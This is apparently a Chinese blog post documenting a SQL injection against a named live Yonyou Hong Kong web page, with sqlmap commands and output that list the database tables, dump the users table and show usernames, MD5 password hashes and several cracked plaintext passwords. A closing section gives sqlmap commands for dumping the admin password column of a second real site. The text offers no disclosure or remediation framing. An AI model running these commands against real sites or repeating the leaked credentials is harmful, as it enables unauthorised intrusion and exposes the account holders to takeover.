用友软件香港版官网某处注入

1.用友某处SQL

注入点:www.yonyou.com.hk/new/download_view.php?uid=4

2.数据库:db1007112_ufida中39个表

参数:--tables -D "db1007112_ufida"

Database: db1007112_ufida

[39 tables]

+-------------------------+

| admin_log               |

| adpic                   |

| app_cat                 |

| app_company             |

| app_file                |

| app_fileImage           |

| app_fileItem            |

| app_log                 |

| app_login               |

| app_partner             |

| app_staff               |

| banner                  |

| banner_2013             |

| banner_home_2013        |

| content_2013            |

| content_other_2013      |

| content_sub_2013        |

| down_file               |

| downform                |

| downform_2013           |

| download_2013           |

| downlog                 |

| downone                 |

| guestbook               |

| info                    |

| menu                    |

| onepage                 |

| qikan                   |

| qksort                  |

| resources_download_2013 |

| resources_menu_2013     |

| sessions                |

| sort                    |

| stats                   |

| support_2013            |

| tongji                  |

| userlog                 |

| users                   |

| video                   |

+-------------------------+

 

3.用户表中12个列,Table: users

参数:--columns -T "users" -D "db1007112_ufida"

[12 columns]

+-------------+---------------------+

| Column      | Type                |

+-------------+---------------------+

| action_list | text                |

| create_time | datetime            |

| creater     | varchar(32)         |

| email       | varchar(60)         |

| nav_list    | text                |

| password    | varchar(32)         |

| phone       | varchar(11)         |

| status      | tinyint(1) unsigned |

| tel         | varchar(11)         |

| true_name   | varchar(60)         |

| users_id    | tinyint(6) unsigned |

| users_name  | varchar(60)         |

+-------------+---------------------+

4.列出用户和密码列中的数据。

 

参数:--dump -C "users_name,password" -T "users"  -D "db1007112_ufida"

 

[17:55:26] [INFO] cracked password 'andy' for hash 'da41bceff97b1cf96078ffb249b3

d66e'

[17:55:28] [INFO] cracked password 'howard' for hash 'dc5ab2b32d9d78045215922409

541ed7'

[17:55:29] [INFO] current status: cuzki... /

[17:55:29] [INFO] cracked password 'jessica' for hash 'aae039d6aa239cfc121357a82

5210fa3'

[17:55:29] [INFO] cracked password 'johnny' for hash 'f4eb27cea7255cea4d1ffabf59

3372e8'

[17:55:29] [INFO] cracked password 'lawrence' for hash ' e02d90ea127f923d273786d0

55b6208e '

[17:55:29] [INFO] cracked password 'louis' for hash '777cadc280bb23ebea268ded983

38c39'

5.sqlmap跑出来密码

Table: users

[10 entries]

+------------+---------------------------------------------+

| users_name | password                                    |

+------------+---------------------------------------------+

| admin      | 7bd90338e9640b6707ed8689a4bd929a            |

| howard     | dc5ab2b32d9d78045215922409541ed7 (howard)   |

| lawrence   | e02d90ea127f923d273786d055b6208e (lawrence) |

| tianye     | 4ebc55777a60faaaf170c00f16a4b64e            |

| louis      | 777cadc280bb23ebea268ded98338c39 (louis)    |

| andy       | da41bceff97b1cf96078ffb249b3d66e (andy)     |

| jessica    | aae039d6aa239cfc121357a825210fa3 (jessica)  |

| johnny     | f4eb27cea7255cea4d1ffabf593372e8 (johnny)   |

| liudong    | 505a17b64f7e6f72bbc494338a7a1764            |

| imadmin    | cf0ff09ef02ae82a9e660e768de567e3            |

+------------+---------------------------------------------+

 

==============================小插曲==========================

sqlmap注入access

1.sqlmap -u http://www.yanet.cn/mbzs.asp?id=132  --tables //查看所有表

2.sqlmap -u http://www.yanet.cn/mbzs.asp?id=132  --columns -T admin  //注入admin表

3.sqlmap -u http://www.yanet.cn/mbzs.asp?id=132  --dump -T admin -C password //注入admin表中password列中的数据

 

 


发表评论

登录 后发表评论.